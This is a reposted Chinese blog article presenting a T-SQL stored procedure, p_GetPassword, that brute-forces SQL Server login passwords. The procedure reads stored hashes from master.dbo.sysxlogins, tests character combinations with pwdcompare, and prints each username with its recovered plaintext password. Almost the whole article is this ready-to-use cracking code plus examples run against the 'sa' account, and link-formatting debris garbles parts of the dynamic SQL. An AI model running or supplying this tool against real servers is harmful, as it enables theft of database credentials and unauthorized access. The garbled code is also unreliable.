发布一个SQL密码破解的存储过程(转贴)

梦里梦外; 2021-12-01 23:12 260阅读 0赞

转自：[http://community.csdn.net/Expert/topic/3271/3271317.xml?temp=.3221704][http_community.csdn.net_Expert_topic_3271_3271317.xml_temp_.3221704]  
  
if exists (select \* from dbo.sysobjects where id = object\_id(N'\[dbo\].\[p\_GetPassword\]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)  
drop procedure \[dbo\].\[p\_GetPassword\]  
GO

/\*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码  
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码  
条件是你的电脑配置足够,时间足够

\--邹建 2004.08(引用请保留此信息)--\*/

/\*--调用示例

\--测试特殊字符  
declare @pwd sysname  
set @pwd=char(0)+'a '  
exec sp\_password null,@pwd,'sa'  
exec p\_GetPassword

\--测试带空格的密码  
exec sp\_password null,'a  ','sa'  
exec p\_GetPassword

\--测试中文  
exec sp\_password null,'我 ','sa'  
exec p\_GetPassword

\--清除密码  
exec sp\_password null,null,'sa'  
\--\*/  
create proc p\_GetPassword  
@username sysname=null,--用户名,如果不指定,则列出所有用户  
@pwdlen int=3--密码破解的位数,默认只破解3位及以下的密码  
as  
\--生成要破解的密码的用户表  
select name,password  
,type=case when xstatus&2048=2048 then 1 else 0 end  
,jm=case when password is null or datalength(password)<46  
then 1 else 0 end  
,pwdstr=case when datalength(password)<46  
then cast(password as sysname)  
else cast('' as sysname) end  
,pwd=cast('' as varchar(8000))  
into \#pwd  
from master.dbo.sysxlogins a  
where srvid is null  
and name=isnull(@username,name)

\--生成临时表  
select top 255 id=identity(int,0,1) into \#t from sysobjects a,sysobjects b  
alter table \#t add constraint PK\_\#t primary key(id)

\--清理不需要的字符  
if not exists(select 1 from \#pwd where type=1)  
delete from \#t where id between 65 and 90 or id between 129 and 254

\--密码破解处理  
declare @l int  
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000),@s4 varchar(8000)

\--破解1位密码  
select @l=0  
,@s1='id=a.id'  
,@s2='\#t a'  
,@s3='char(b.id)'  
,@s4='cast(b.id as varchar)'  
exec('  
update pwd set jm=1,pwdstr='+@s3+'  
,pwd='+@s4+'  
from \#pwd pwd,\#t b  
where pwd.jm=0  
and pwdcompare(['+@s3+',pwd.password,pwd.type)=1][s3_pwd.password_pwd.type_1]  
')

\--破解超过2位的密码  
while exists(select 1 from \#pwd where jm=0 and @l<@pwdlen-1)  
begin  
select @l=@l+1  
,@s1=@s1+',id'+cast(@l as varchar)  
\+'='+char(@l/26+97)+char(@l%26+97)+'.id'  
,@s2=@s2+',\#t '+char(@l/26+97)+char(@l%26+97)  
,@s3=@s3+'+char(b.id'+cast(@l as varchar)+')'  
,@s4=@s4+'+'',''+cast(b.id'+cast(@l as varchar)+' as varchar)'  
exec('  
select ['+@s1+'][s3_pwd.password_pwd.type_1] into \#tt from ['+@s2+'][s3_pwd.password_pwd.type_1]  
update pwd set jm=1,pwdstr='+@s3+'  
,pwd='+@s4+'  
from \#pwd pwd,\#tt b  
where pwd.jm=0  
and pwdcompare(['+@s3+',pwd.password,pwd.type)=1][s3_pwd.password_pwd.type_1]  
')  
end

\--显示破解的密码  
select 用户名=name,密码=pwdstr,密码ASCII=pwd  
from \#pwd  
go

转载于:https://www.cnblogs.com/rock\_chen/archive/2005/05/15/155644.html

[http_community.csdn.net_Expert_topic_3271_3271317.xml_temp_.3221704]: http://community.csdn.net/Expert/topic/3271/3271317.xml?temp=.3221704
[s3_pwd.password_pwd.type_1]: mailto:'%20rel=